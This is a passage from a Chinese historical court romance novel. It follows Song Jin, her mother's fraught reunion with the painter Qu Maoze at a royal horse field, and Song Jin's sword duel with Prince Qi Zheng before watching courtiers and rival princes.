杨彦珺笑眯眯继续:“当朝四个王爷,上面恭王、敬王、礼王已成亲多年,歧王后院无人,今年也及冠了,等年底陛下也该为他选妃了,也不知道哪家贵女有这个福分” 宋锦靠在围出的栏杆上,听到这话,捏着栏杆的手重了重,心里有些不太舒服:“是吗?” 杨彦珺勾勾嘴角,觉得自己的猜测果然没错,秉着看热闹不嫌事大的意思,她继续捣鼓 “是啊,听说郡主和歧王关系不错,你知道他喜欢什么类型的人吗?” “喜欢什么都跟金金没关系” 牛铁兰转过身,檀木轻挽半发,散落的青丝随着风轻轻晃动,一双温良的杏眸微微清明,声音也有些不咸不淡 “她从小在乡下长大不懂这些,也不 用懂这些,你们不用和她说这些” 她的声音也说不上冷淡严厉,但是对比平日的温声细语,也很明显地感受到其中区别 本来想看热闹的杨彦珺立马有些无措尴尬了起来 牛铁兰倒是也没冷淡,就是也之前那么热络了 说到底,她对她们友善温然,是因为她脾气好,也因为她们人好,更多的还是人情往来 可闺女是亲生的 虽然宋锦脾气不好、人也顽劣,还经常让她没脸,但是那是一点点宠大的孩子 牛铁兰并不喜欢别人拿闺女当猴一般逗趣,她眉眼淡了起来,轻声道:“我和金金看不懂这些,我们去那边逛逛,杨姑娘和程学正自己看着就好” 说着,她拉着宋锦的手,轻飘飘地就把人拉起来,牵着人挤出人群,将喧闹扔在身后 母女俩沿着马场慢慢走着 宋锦低着脑袋,心不在焉地看着前面,脚高高抬起,又小小迈动 重重的、咚咚的 牛铁兰侧过头看着宋锦这般模样,有心疼、忧虑,也有愉悦 她轻轻抬起手,给自家闺女理了理肩膀上的头发,又轻轻抚着她脸上的郁意,轻笑:“我们金金长大了啊” 宋锦撇嘴,比了比自己脑袋又比比牛铁兰脑袋:“我早就长大了,娘你才发现啊” 牛铁兰眼中柔意蔓开:“是啊,才发现” 宋锦被她看得有些不太自在,鼓鼓嘴:“娘你好奇怪” 牛铁兰笑:“奇怪吗?” 牛铁兰只希望自家闺女能够简简单单快快乐乐地过上一生,但是这种可能,从她们踏入都城的那一刻就已经注定只能是过往了 所以她现在希望她快乐 人这一辈子,快乐一世自然好,快乐一时也不差 就像她,再给她一起机会,她还是会在那年做出同样的选择 就像杨彦珺,便是此刻再是狼狈,在牛铁兰看来,她曾经的快乐也是真的,没必要后悔,往前走就是了 思虑再多,人生也就生和死两条大路,无关生死皆小事 牛铁兰轻轻拍拍宋锦的脑袋,眼神温柔:“娘觉得你才奇怪,好好的突然就不开心了,怎么,不希望歧王选妃?” “怎么会?他选不选妃关我什么事?”宋锦抬起下巴,轻哼一声,愤愤不平道 “就是,凭什么他可以选妃,选一个老婆两个老婆无数个老婆,我只能选一个?同样从乡下被带回都城,他爹就是皇帝,我爹是个傻逼,他有两百黄金的宝马,我就小黑一个破骡子…………” 宋锦越想越气,一脚踢向地面,立马在上面踹出个小坑 尘土飞扬之下,牛铁兰挂在脸上的温柔笑意一点点落下,最后成了面无表情的模样:“这样吗?” 宋锦振振有词:“不然呢?娘,你说这世道是不是太不公平了?要不我以后也给你找一二三四五个女婿,我们一家七口,不对,十口,不对,那得五个孩子,还是三个女婿,不对我再瞅瞅” 牛铁兰人不可忍打断宋锦,伸手就要揪她的耳朵:“瞅你娘的瞅,我看你是想死是不是?一日不打上房揭瓦的死丫头……” 宋锦才不会站着给她收拾呢,早早就做好了逃窜的准备,腰一拧,脑袋一低,整个人就窜了出去,转头冲着牛铁兰做了个鬼脸 牛铁兰咬牙追了上去:“宋金金你给我站住,看我今天不好好收拾收拾你” 宋锦吐了吐舌头,迈开脚继续蹦跶起来 母女俩在偌大的马场上追打了起来,一边追打,一边也扬起璀璨的笑意 虽然前路未知,但是能肆意奔跑的感觉,真好啊 牛铁兰已经很多年没这般用力的奔跑了,就像回到那些在山林逃窜的日子 不过那时候的她拼尽全力是为了一份未知的自由,此刻的她,是因为自由快乐而拼尽全力 跑跑停停,牛铁兰把整个马场都绕了一圈,最后实在没力气了,找了个草地上直接坐下,擦着额头的汗,大口喘息 宋锦则跟个无事人一般,慢悠悠走过来蹲下,凤眸清亮,笑容灿灿 牛铁兰想骂人的,但是人真到面前了,她又骂不出来,纤手重重抬起,又轻轻放下,弹了弹她脑门 “小混球” 宋锦咧着白牙,眼眸晶亮,也跟着伸出了手:“娘,走,我教你骑马” 牛铁兰累得不想动,但是想到刚才赛场上的黑马,想到那些年日复一日困在女园的日子,她轻轻握了上去 “好” 宋锦咧着牙,一下便将人带了起来,然后拉着她朝着马场前面冲去 这种画面,是她以前想都不敢想的呢 恍惚间,宋锦听到牛铁兰轻柔的声音 “我们金金想做什么娘都支持你” 宋锦嘴角的弧度一点点加深,她没有说话,就这样带着人来到马场圈马处,她信誓旦旦 “娘,快看看你喜欢哪一匹,随便挑,一会儿我亲自教你骑,我们可以骑马回去” 牛铁兰本是满心的疲累,但是看着那边一排排各色高大的骏马,欢喜迅速将疲累压了下 “我,我可以吗?” 宋锦咧牙,重重点头:“当然可以” 牛铁兰深呼吸气,左右打量前方的骏马,此刻的她满脸汗水,脸颊通红,浑身上下冒着欢喜气,无端年轻了好些岁,看起来 煞是可爱 “夫人今日,很多欢喜,是因为我吗?” 遥遥的,耳边又传来熟悉的声音 牛铁兰笑容僵在脸上,她挪开盯着骏马的眼,在一旁搜索起来,很快便在最里头的角落处,看到了略带熟悉的侧影 他一袭白衣端坐桌前,手腕扭转,执笔挥洒,大气磅礴又显书生意气 仔细看,便会发现周边隐隐围上的各色贵女,一个个抿嘴低语,目光或明或暗地看向他那 好一个俊俏画师娇女郎 牛铁兰笑容一点点散去,抬眸看向身侧还在傻乐的宋锦,面无表情,伸手揪住她耳朵 “这就是你要带我看的好玩的?” 全然忘了这件事,纯傻乐的宋锦:…… 啊,哈,哈哈 刚才不是还说都听她的吗? 第73章 清清白白赚的 “陛下新赏赐了王爷马场,恰好赛马日在即,事情比较多,他一直半会儿缺人手,就让我过来这边帮忙,每匹马录入一两银子……” 曲茂泽一袭白衣,手上抱着卷起的画册,还有一本不大不小的画本,本子掀开,里面是一匹匹各色的骏马 每一匹都有些极为流畅的线条,或者健硕或者精干,一个个只在细节上有些许不同,却又栩栩如生,让人一眼便能对上号 牛铁兰看得有些出神 曲茂泽低头看着她指下的神骏小马,噙笑:“这是惊云,是奔雷在云赤山脉马场育出来的小马,很有其父风采” 牛铁兰回神,莫名有些恼,她轻抿唇瓣,微微阴阳:“对,是他爹生的” 曲茂泽微顿,莞尔一笑:“是我说错了,夫人莫怪” 牛铁兰更恼了 曲茂泽低低一笑:“我给夫人赔礼,就赔,这惊云如何?它才两个月,很有灵性,平日乖乖的,就是倔起来有些头疼” 牛铁兰总觉得他意有所指,白皙的双颊渐红,杏眸也微微瞪起,里面闪着恼怒,她手指抬起,正要合上画册 啪一下,画册已经被抢先一步合上 宋锦拿起画册往曲茂泽怀里一按,嗤笑:“谁稀罕马啊,还送马,你有钱送吗?装倒是装得好” 曲茂泽看着这孩子,心头一梗,深深叹气:“金金啊” 宋锦抬着下巴,双手抱胸,屁股往后一撞,把她娘挪开点,直咧咧地挡在两人中间,把他们分得开开的 她轻哼:“给我放尊重点,叫我郡主,不然小心我治你的罪” 曲茂泽继续叹气:“郡主大人好大的皇威啊,你适应得倒是快” 宋锦:“夸我也没用” “……” 他那是夸吗?这孩子 曲茂泽忍不住瞥向她身后看似柔柔弱弱的牛铁兰,再次叹气 什么都不用说,什么也说了 牛铁兰恼:“看什么看,没听到郡主的话呢?” 他一个什么都没干,净顾着消失的人有什么资格挑呢? 曲茂泽看看这个,看看那个,无声叹息一声,做出行礼的姿势 “草民参见” 郡主宋锦站在原地,抬着下巴,幸灾乐祸地等着他行礼,突然屁股一疼 她咧着牙的笑容僵住,按住她老娘无情的手,咬牙切齿地改口:“行了行了,假惺惺的,谁稀罕你的礼了?画你的画去,勾搭你的女郎去,我们走了” 曲茂泽扬唇起身,上前拉住宋锦的手腕,在她的怒目下,带着些戏谑 “等等,金金你 这就冤枉我了,我什么时候出去勾搭女郎了?” 宋锦管他勾不勾搭女郎,跟她有什么关系啊,她抬脚想直接一脚踹上去,腰上又是一疼 她只得默默又收回右脚,往下一踩,扯着嘴角似笑非笑:“管你勾搭不勾搭,给我放手,男女授受不亲听过没?” 曲茂泽被踩一脚,眉头都不皱一下,嘴角噙着笑,眼神就跟看小孩子似的,带着几分宠溺 这模样看得宋锦更是心情不爽,她眯起了眼,拳头也握了起来 曲茂泽松开手,把怀里的画卷册子塞到她怀里,在她狐疑不解的时候,他伸手揉了揉宋锦的脑袋,眼看着她瞬间变了脸色,临近爆炸 他拉起牛铁兰转身就跑 好一个声东击西釜底抽薪 宋锦懵了,好一会儿她才嫌弃搓着刚才被摸了的头发,眼睁睁看着他拉着人跑走了,直接给气笑了 什么玩意儿啊 这人怕不是有毒吧? 竟然还能精神上影响她 宋锦磨着牙,脚尖微点,很想飞过去直接把人堵住,但是,她看着那被拉着却没有丝毫反感和挣扎的牛铁兰,双脚沉重得宛如压了大石 最后,她伸手指着曲茂泽的背影大喊:“喂,我娘要是掉一根头发,小心你的狗头” “放心,我的夫人我自然会照顾好的”曲茂泽那带着笑意的声音轻飘飘出现在耳边,“你也要照顾好自己啊,我的好女儿” 最后三个字的时候声音拉长,很是意犹未尽 恶心死了 宋锦当场就后悔那瞬间的心软,她刚才就该过去把老娘抢回来了啊啊啊气死她了 …… 但是现在晚了点 牛铁兰和曲茂泽已经走过了马房,朝着后面的房屋里面走去外面的人太多了,说点什么都不方便,做点什么也会被人看到 虽然说,从曲茂泽拉住她的这一刻开始,后面的已经不重要了 所以牛铁兰并没有多做挣扎,她只是垂下头看着这人牵着她的手 他的手很大,很有力量,能轻易的攥住她的手腕,甚至包住她的手掌,但是,手心细腻,没有半点茧子甚至疤痕,就像他人一般,新得有些出奇 牛铁兰睫毛轻颤,藏住其中的复杂 曲茂泽只当没感受到,一开始为了避人他还走得快些,等到后面便慢下了速度,就这般紧扣着对方的手,慢慢地走进了马场的小院 说是小院,其实是另一个马棚,不过这边修了马仆住的房间 曲茂泽这几日都在这边帮忙,在这边也有单独的房间 当然,他并不是这个意思 对着牛铁兰警惕起来的神情,曲茂泽无奈:“我就是给你介绍一下” 牛铁兰没有放下警惕 这人,虽然看着恰似君子正直又稳重,但是在某些方面,他真和君子不沾边,要不然两人当初无名无份的,也不会还多了个孩子 那几个月,现在想来,是用荒谬都不足以形容的 牛铁兰警惕之下,脸颊渐渐起了红意,她轻咬银牙,往后退了两步,但是也就两小步 她的手被紧紧拉着,根本走不远 曲茂泽看着她这副模样,忍不住轻笑出声,眸光转换,意味深长道:“夫人这脸红的,是想到了什么有意思的事?” 不可否认,因为那些过往,牛铁兰面对曲茂泽的时候总是压不下那份心虚和忐忑,但是她也不是十来岁的小姑娘了 她这些年面对一个猴王转世般的闺女,脸皮不说刀枪不入,也比常人厚上三分 她立马冷笑:“不然呢?有本事你去马场跑上两圈,我看你脸不脸红” 曲茂泽戏谑:“那我还真没这个本事,我可不及夫人活泼好动,也没和马赛跑的兴趣” 牛铁兰深吸一口气,总算压下那些乱七八糟的情绪,她眉眼一弯,轻声一笑:“您毕竟年纪大些,不懂年轻人的乐趣,也正常” “……” 曲茂泽挑起眉头,伸出手捏住她削瘦的脸颊,似笑非笑:“嫌我年纪大?” 牛铁兰一巴掌拍了过去,瞪眼:“和我无关,还有,别给我动手动脚,注意你的身份” 曲茂泽勾着唇,凤眸光芒闪过,咬着字一字一字:“我什么身份?俊俏胡乱勾搭人的画师,你孩子的父亲,亦或者是,和你厮混的野男人?” 这人可真有本事 牛铁兰刚压下去的气又被挖了出来,她一脚踩了过去,恼怒:“不要脸的玩意儿,你带我过来到底什么事?没事我走了” 曲茂泽戏谑:“有事就不走了?” 牛铁兰转身就走,步伐匆匆,青丝飘动,全是怒火 曲茂泽抱起双手,站在原地悠悠看着,嘴里轻轻念着数 “十、九、八……” 不等他倒数完,刚才还怒气冲冲离开的牛铁兰已经转身回来,气势汹汹反客为主拉着他往一边角落走去,推着他靠在柱子上,咬着牙 “别说谎,你在马场到底想干什么?” 马上就是赛马日了,马场里往来各种大人物,不少更是会上马骑行,若是中间动点什么手脚 牛铁兰想着手脚都有些发软,压着曲茂泽的脖子,恶狠狠的:“我不管你有什么意图,但是绝对不能牵连金金与我” 曲茂泽俯着头,轻叹:“铃儿这般,为夫真的很痛心啊” 牛铁兰目光锐利:“别转移话题” 她这段身体好了不少,但是骨架纤细,姿态纤柔,看起来依旧柔弱小意,又因性情温和,就像是笼中的雀鸟,可依又可爱 可是现在这般,她还真有几分雌鹰的姿态 曲茂泽嘴角噙笑,不急不慢地伸手绕着她的青丝:“几年不见,你性子急了不少啊” 牛铁兰冷笑:“你可真会算,十六年到你嘴里就成几年了” 曲茂泽:“是十六年零三个月” 牛铁兰瞬间愣住,不可置信地看着他 曲茂泽绕着发丝的手轻轻划过她的下巴摩挲,像是软玉一般细腻清凉,他笑:“怎么,很奇怪?” 牛铁兰抿了抿嘴,很快回过神:“有什么好奇怪的?只是吃惊你算得比算盘还快,不怪歧王殿下让你算账” 曲茂泽喟叹:“你啊” 牛铁兰继续:“还没回答我,你到底在这边干什么?” 无奈一闪而过,他脑袋往后一仰,从兜里掏出一个锦囊 牛铁兰狐疑地接住,打开一看 里面是满满的灿金豆子 “你若说这个也是牵连,那我确实不能不牵连于你们。这些虽然不多,买不了什么,但是我这些日子赚的” 说到这里,曲茂泽顿了一下,加重声音:“清清白白赚的” 牛铁兰:…… 她看着手中沉甸甸的金粒,换算下来也有个二两黄金了,她抿了抿嘴,递了回去:“不要,你自己留着用” 曲茂泽脸上一贯的笑意褪散,他看着手中的钱袋,轻轻掂了掂,一个用力 浅蓝色的钱袋在空中划出一道曲线 牛铁兰错愕:“你是不是有病?” 那是金子不是铜币 曲茂泽神色淡淡:“走了,送你回去” 见他真的不管了,牛铁兰咬着唇,犹豫之下,还是没忍住低骂了一声有病,拎着裙角,转过快步朝着马圈跑去 马圈里,银白小马躺在角落里,嘴里有一搭没一搭啃着 稻草,晃着尾巴 牛铁兰打开栅门进来,小白马迅速半站起来,一双圆溜溜的大眼和她对上 她一眼便认出,这就是之前画册里的惊云,它的鬓毛偏长,一眼神骏,不过月余便能看出是个宝马胚子 若是平日,牛铁兰定会欣喜地上前摸一摸,现在,她更在意那块绣着金铃的钱袋 马棚很大,里面铺满了干燥的金色干草,偏金色的钱袋在其中便如黄金落了谷仓 她小心踩在蓬松的谷草上,一点点寻觅过去 身后吱呀的门闩声响起,紧接着是踩在干燥稻草上的簌簌声 “你看看看看,东西都找不到了,傻站在那儿干什么?快过来一起找,真是烦死了,几十岁的人了……” 这人不讲道理的样子,真的像极了那死丫头 一样的烦死了 牛铁兰烦躁之余,也习惯性地骂咧了起来,话不是什么好听话,但却格外真实,不似之前的冷言冷语,也没有那些狐疑猜忌 只是久久没听到回应,牛铁兰忍不住停下来扭头看去 曲茂泽逆着光站在马棚下,明明暗暗下,神色晦暗不清 牛铁兰一个蹙眉,侧过的手总算摸到了细软的不同,她脸上闪过喜色,一把将其抓了出来 “找到” ‘了’字还未出口,她便被一股力钳着跌在草堆上 刚才还晦暗的男人已经到了身前,掐着她的脖子覆身而上,一股浓烈的水墨气扑面而来,侵入唇舌 …… “啊切” 远在另一方的宋锦双手搭在脑后,靠着围住的栏杆上,她嘴里叼着谷草,甩着一条腿,突然一个喷嚏袭来 她吐掉草,郁闷地揉着鼻子,嘴里嘀咕着:“怎么还不回来啊,娘不会被卖了吧?” 应该不至于吧? 但是也说不好啊 宋锦想着就又挣扎了起来,又伸手揪起一旁的花朵,蹲在那儿数起了花瓣 “卖” “不卖” “卖” …… 一朵花决定不出来,她又摘一朵,嘀嘀咕咕一阵子之后,她的前面出现了一堆花瓣雨,旁边原本茂盛的花朵也稀稀疏疏受到了重创 对面被隔出的仪仗间,齐晔一身素白,眯着眼看着这边,好一会儿无奈摇头:“这丫头,以后可得把她看好了,我那花园里的花可受不了她这般糟蹋” 齐铮穿着同款的长袍,远远看着趴在那儿百无聊赖辣手摧花的人,沉声:“花开堪折直须折,与其一点点枯萎最后失了颜色,与烂泥融为一体,倒不如在最美的时候坠落” 齐晔呵呵:“你们年轻人一天天城里城外,你爹我只有看那点花,你自然无所谓,反正不许来折腾我的花” 齐铮:“……孩儿没这个打算” 齐晔:“你就是这个意思,跟你娘一个样,我记得那年,我找了一捧极美的牡丹回家,还没看两眼,她就摘了做包子去” 齐铮以为自己听错了:“包子?” 齐晔点头,半是没好气,半是惆怅:“就是包子,她最喜欢吃包子了” 齐铮被找回宫已经大半年了,但是对于自己亲娘的事,知之甚少 只知道她身份低微,以平民之身嫁与齐晔,后又因故成妾,再后面,新朝建立,她稳坐皇后之位,又因丧子之痛去世 齐铮:“她是什么样的人?” 齐晔有些怀念,有些感慨:“她是个很厉害的人,如果不是没有我,她会是大衍第一个女将军” 齐铮嗓子干哑:“那她,确实是因为我才去世的的?” 女将军身体应该很好才是 齐铮摇头:“你丢失了她自然难过,但是她早逝,还是因为她小时候伤了根基,那几年后受了寒累,身子一直不好,撑不下去” 但是再怎么说,如果没有生孩子,如果没有丢失孩子,她应该也不会那么早离世 齐铮有些沉郁 齐晔没有安慰他,都是大人了,有些事情得自己想开。齐晔捏了捏他的肩膀,道 “去吧,你们年轻人自己玩去,虽然我的花园不能糟蹋,但你刚才说的也对,花开堪折直须折。年轻人就是要一往无前,不然老了,也徒增后悔” 他现在最后悔的,便是那年被那女人逼迫的时候,瞻前顾后,最后为了不让阿妹受害,却让她受了这辈子最大的伤 纵使那个决定在他们式微的时候不算错,但人这一辈子,哪能光看对错啊 齐晔带着怅然离开 …… 另一边,宋锦把所以花都摘完了,扒拉好一会儿一朵也没看到,她的目光落到了那些数不清的叶子上,手指捻了捻,蠢蠢欲动 这个,应该能数很久吧? “江南花茉,一棵百文” 熟悉的抠门声传来,宋锦一个白眼,扯了一朵叶子塞到嘴里,阴阳怪气 “哟,这不是咱们歧王殿下吗?殿下今日不上学了?” 齐铮看着地面堆积的大堆花瓣,脚尖轻轻碰上,各色的花瓣突然飘动,从地面往上流动,像是花瀑一般停在半空,又瞬间散开 很美 就和面前人璨的眼眸一般 但是 齐铮定定看着她:“比一场,输了你和我道歉” 宋锦刚随着花瓣松下的心情重新束起,她踩着散落的花瓣朝前,眉眼张扬,凤眸瞪开,里面火焰跃动,璀璨,又带着另一种热烈 她一字一字:“你输定了” 第74章 扯平了 “你就给我等着输吧” 演练场上,宋锦拖着一人长的重剑,铁制的重剑拖在青石板搭成平台上,发出滋滋的声音,听得人心也跟着提了起来 自然,只是拎着长剑还能说一声装模作样,但是一上手 宋锦点了点剑,手腕轻轻一绕,再一转,一套利落简单的剑花就出来了 这么一手,看得周围的人不禁咽了咽口水 要知道,虽然说宋锦上次中秋晚宴上也演了一手剑,但是这舞剑的剑可和这专门的重剑差距太大了 将士专用的标准重剑,重达六点六公斤,使用起来力气大能轻易斩杀弱小将士,普通人单手拿起有些费劲 而宋锦手中的,是平日加重训练的重剑,重达十六公斤,莫说舞剑了,便是提起来,也要咬着牙两手并用,不然一不小心就得趔趄摔倒 她这一手,威慑比那都呈流传的任何谣言都更具有说服力 宋锦从围观的人眼中看出了惊惧,她很是满意地点了点头,就像挥舞木棍似的轻飘飘的抬起重剑,指向对面的齐铮,桀骜道 “你若是现在认输,这件事也就勉强过去了,若打下去,你这堂堂的棋王,当着这么多人的面输给我这么个弱女子,丢脸了可别怪我” “第一,输并不丢人” 齐铮轻轻的站在另一边,距离重剑只有半臂的距离 他抬起手中的长剑,那对于一般人已经不算轻巧的剑在重剑面前宛如玩具一般,看起来毫无威慑 剑鞘褪去,锋利的剑韧在阳光下发出阵阵寒芒,让人毫不怀疑它能轻易斩断手脚 那日城墙之下,他便是如此一连斩杀数名武艺高深的刺客,稳稳地护住了陛下 不得不说,在那之后,那些往日质疑他嫌弃他的闲言碎语都少了不少,大 抵是害怕他趁也抹脖子 那就想太多了,他们江湖人也没这么野 齐铮笔直而立,长剑横指,俊美的脸上无波无痕,像是千年寒石头一般 又冷又硬 还臭 宋锦比他大半个头,她抬起下巴,眉眼肆意张扬,一点儿也不服输道:“第二呢?” 齐铮:“第二你不是弱女子” 宋锦:…… 齐铮紧接着抬起长剑,出其不意砍向重剑,两边内力加持下,那普通的长剑直接碎裂,碎片在地上乒乒乓乓,结束短暂的一生 他抬起眸,扔掉短剑:“第三,你看到了吧?这场比试,之前是你说的不用内力” 宋锦脸上的笑容碎掉:“我什么时候说的?” 齐铮没有回答,只是扭头看向站在演武场前排的宋家五兄弟 其中的宋顺之、宋安之和宋清之三个 他轻轻助他们回忆:“烤鸡” 兄弟三表情一僵 现在回想起来,那烤鸡也实在美味 但是这俩神仙吵架,拉他们干什么啊?他们三个小鱼小虾,真不够他们一刀啊 顶着齐铮这当今唯一亲子平静的眼,还有另一边小妹怒目威胁的眼 宋安之转身就走:“那边栅栏好像不太稳,我去让人加固一下,免得伤了人” 他就是兵部的人,理由合情合理 宋清之和他一条裤子,脑筋飞速旋转,想也不想跟着一起:“对对对,兵部可是练兵之本,一兵一器得用最好的料才能发挥最大的作用,,我去看看他们需不需要资助” 剩下的老二宋顺之也想跟着走来着,但是左边一个眼角还带着青青紫的宋行之,右边一个才出狱的老三宋慎之,兄弟俩死死按着他的肩膀,都似笑非笑 “老二你们关系处得可真好啊” 宋顺之感受着肩膀上的痛,还有周边的目光,心想这要是都叫处得好,他哪天差了怕是得拉去砍头了 他沉默地站在那儿,对着两尊大佛轻轻叹气:“却有其事,小妹上次你说让殿下指点你” 宋锦重重砸下重剑,皮笑肉不笑:“有吗?” 宋顺之点头 他不是个会说谎的人,而且很明显,他就是说谎,也没什么用,还是让他们小年轻自己解决问题吧 演武台上又一哐当的响声 昨晚上才出狱的宋慎之上前一步,他一身黑衣,因为常年训练肩膀宽阔,手肩带着护甲,整个人凛凛威风,笑起来也带着征战的豪爽气 “小妹,不如三哥来陪你比一比?三哥虽不如岐王身手好,但是刚好擅重剑,也能陪你好好打一场” 这段时间他虽然身在刑狱寺,但是待遇可半点不差,看守侍卫也没人会不长眼给他脸色看,和他说了不少宋锦的事情 不过短短月余,她的事迹在都城流传开来,可真是,很有他们宋家人的风采啊 宋慎之看着演武场上杵着重剑、杀气腾腾的宋锦,眼眸中的欣赏都快溢出来了 那是他爹的孩子,有他爹的相貌,他爹的无畏,他爹的风采 他愿意,他真的愿意当上门女婿的啊 宋锦心情不太美妙,再看这个脑袋好像被门砸了的人也觉得心烦,很没好气道 “怎么的,你的意思是我打不过他只能和你打了?” 之前没和人接触过的宋慎之自然没想到她会是这个反应,惊愕之余,解释:“不是这个意思,我是说” “说说说就知道说” 宋锦心情很糟糕,糟糕到看谁都不顺眼,自然不可能给什么好脸色,尤其宋慎之看她的眼神,怎么就那么恶心呢 都怪之前监狱的光线太暗了,早知道他这般烦人,她那天就该把东西拿去喂狗的 呸 想着那天的事,宋锦烦躁地一把甩开手中的重剑,视线重新落到了沉肃的齐铮身上,仰着下巴,不服输地冷笑 “不用就不用,真以为我怕你了?” 虽然说,她已经看到自己输的场面了,但是输人不输阵,狠话还是要放一放的 就是,仔细想想还是好气啊 宋锦微微鼓了鼓嘴,恶狠狠瞪着齐铮,咬牙小声:“小气鬼” 这么大个男人斤斤计较,真是小气到家了 她不就是那天讲了两句实话嘛,他就生气不理人就算了,现在还来‘秋后算账’,就特意为了让她丢脸 简直比她还不讲道理 可喜可贺,她还是知道自己不讲道理的 看着她怒气冲冲的模样,齐铮没有说任何话,他俯身捡起地上的碎剑,又到一旁拿出两把一样的长剑,递给宋锦 “你先选” 宋锦低头看着那两把一模一样的常见,磨着牙齿:“姓齐的你别太过分了” 齐铮眼中闪过笑意,直接递了过去 宋锦不情不愿接过剑,若是眼神能有实体的话,她的眼光绝对便是一道道刀子给人戳成刺猬 她盯着齐铮手上轻巧的剑,又看了看自己的,非常小人之心地怀疑他动了手脚,但是仔细检查一番,又没有半点问题 她刚觉得这人还勉强可以 他又开口:“要不要清场?” 虽然昨天在马场上没人知道他们说了什么,但是他们用的兵部的演练场,里面的人见没人拦着,就一个个凑了过来,官吏守卫基本都挤了过来 齐铮这话算得上‘贴心’ 宋锦冷笑一声,不打一声招呼,直接抽剑刺了过去 他们用的都是开了刃的真剑,剑锋锋利,冒着白光,直直刺去,周围的人吓得一个惊呼,生怕她给人戳出个血窟窿,到时候他们这些人也不讨好 好在这种事情并没有发生,面对宋锦的突袭,齐铮只站在原地脚步没有半分挪动,他轻轻挥动手中长剑,便轻易的挡下了她的攻击,再是一个巧劲一挑 宋锦下意识想用上内力,又想起规则,将其压下去,全靠大力才险险地握住剑,她后退一步,脸上原本的怒意消失,取而代之的是慎重 虽然她一直以来没怎么练剑,也并不觉得外力有内力重要,但是不代表她看不上这些 她就是纯懒,每日修炼内力已经够够了,再练这什么剑法,她日子还过不过了? 上次找齐铮想比比也是觉得自己好像需要补一补 现在一看 她这从头到脚都要补啊 宋锦压下那点私人恩怨,开始谨慎起来,小她心地观察着齐铮,又是一剑过去 就如上次一般,他轻松接过了,一个转刃 宋锦险险避开,但是比上次轻松许多,起码手没有震得发麻了,她的眼瞬间亮了起来 “再来” 齐铮也没似木头一般站在那儿,随着她再三转动招式,他也慢慢动了起来 两个人你退我让,刀光剑影之下,铁剑碰触的声音清脆而刺耳,看得人心跟着提起 刚才假意离开的宋安之宋清之又绕了回来,站在后面看着两人比剑 不对,准确点来说应该是练剑 宋安之手上拿着□□摩着,眯着眼看着场上两人:“歧王,武艺确实精湛,老三远远不急” 宋清之啃着个金柿,悠哉悠哉:“有些人看来得失望了” 皇上的心思已经明显得不能再明显了,那些人若要反击,除了让齐铮犯下天理不容的大错之外,便只有除去他 但是大错难得,齐铮一不近女色,二不好金银,三不喜交际,便是有人想陷害都没机会 只剩下除掉,但是依照他这一身武艺 宋清之啧啧:“也挺好的,他虽少礼法,但知民事,懂疾苦,百姓有福了” 宋安之继续磨着弓弩,跟着感叹:“是啊,也挺好的,要是爹在就更好了” 这人是他爹带回来的,若说他爹会不知道把人带回来之后的事情,他可不信 宋清之怅然:“你说爹究竟还在不在?” 两三个月无声无息,真的让人很难不多想 宋安之静静地看着场上两人,后面边 上的宋行之,轻哼一声 “你看老大” 宋清之仔细看去,好一会儿反应过来,眼睛微睁,久久没有说话 宋安之只是轻轻点头,旋即转移话题:“那些不是我们掺和的,你先想想怎么劝劝老三吧,我怕他哪日被打死,那还不如在狱里蹲着呢” 这谁劝得住啊,要他说老三也是有毛病,就小妹和他爹的相似度,他还想娶人 宋清之劝不了,这太诡异了,他轻咳一声,也跟着转移话题:“你非要这时候磨弓吗?” 宋安之点头:“自然,我等小妹打完了好给她,不然她回去又要折腾人了” 这段时间以来的经验告诉他,惹了人还是老老实实提前赔礼得好,免得‘后患无穷’ 什么也没准备的宋清之:…… 兄弟的小船瞬间倒塌 ** 而演武场上的两人,却是从上午一直比到下午 随着时间的流逝,周围的人不仅没有散去,反而越聚集越多 若说之前还大多是兵部的人,后面就更多的是公侯官吏,甚至包括了其他几个王爷 在齐铮没回来之前,晋王是三个王爷之中自认为最后竞争力的皇子 他亲爹娘是齐家主支,身后势力雄厚,妻子是英国公府嫡长女,自身也文武双全 便是齐晔不喜他们这些皇子,但到底是个负责的皇上,若说要选接班人,定然也是看能力 而那些皇子之中,谁能比得上他? 晋王信心满满,也野心勃勃,早在之前便带着朝中势力提起过立太子的事,但是齐晔迟迟为应 他一直觉得,一次不行就两次,两次不行就三次,这位置迟早是他的 谁知道会冒出个齐铮来? 现在别说第三次了,他第二次都不敢提,生怕他父皇直接就着这个提议立了齐铮这个亲子 晋王沉沉地看着台上比划的齐铮,低声询问身侧的人:“如何?” 身边的灰衣男人神色凝重:“深不可测” 场上两个人皆如此 宋锦看着急躁冲动,出剑随意不讲招数,破绽连连,但是上招犯了错,她就会在后面改掉,并且不断进攻,进步十分神速 齐铮就更别说了,一招一式轻盈顺滑,看似没什么伤害,不如对面宋锦大刀阔斧来得刺激有力,但是每一招都无懈可击,取人性命于无形 而这,还是两人没用内力的情况下 灰衣男看着两人一来一往,,坦诚:“在下不及” 晋王心也沉了下来:“没有一分可能?” 灰衣男没有说话 晋王脸色渐黑,他咬牙:“加钱” 灰衣男目光落在宋锦身上,看着她眼睛像是野兽一般一点点燃着焰火,看着她手上剑招加快,快得常人都快看不清了 哐当一声,铁剑再次断开,直直飞向人群,冲向他们这边 灰衣男下意识抬手接住,然后看向旁边惊惧跌倒的晋王,轻轻叹气,脸上染上了无奈 “您看,这是加价的事吗?” 这加的是命啊 晋王脸色铁青,恶狠狠地看向台上的齐铮,觉得他就是故意的 确实是故意的 不过不是他,而是宋锦 她藏住哈哈大笑的冲动,轻轻弹了弹断剑,掰掉上面的小块,轻轻吹了吹,眼眸里全是狡黠 “怎么样?” 齐铮垂眸看着她手上断掉的剑刃,实话实说道:“很危险” 晋王到底是王爷,若真伤了人,她便是郡主,也少不了被罚 宋锦立马切了一声,因为练剑而红彤彤的脸立马耷了下来,一句没意思又到口边,被她咽了下去 她撇了撇嘴:“胆小鬼” 齐铮眼中闪过笑意,他收起断剑,道:“我输了” 宋锦给了他个白眼,甩了甩手:“输了就输了,我还没那么输不起,不用内力我确实比不过你” 齐铮抽过她手中断剑,把自己手上的换过去,一本正经道:“剑断了,我输了” 宋锦不仅不感动,反而狐疑地了起来:“什么意思?” 这人提的要和她比试让她道歉,现在她输了,也愿赌服输,他却改口了 怎么,耍她很好玩吗? 宋锦眯起了眼睛 齐铮看着她警惕的模样,突然笑了一瞬,伸手扯了扯她散落的头发,发丝被汗水打湿,一缕一缕,有些黏糊糊的 他手指捻了捻,收的时候轻轻擦过她汗淋淋的脸 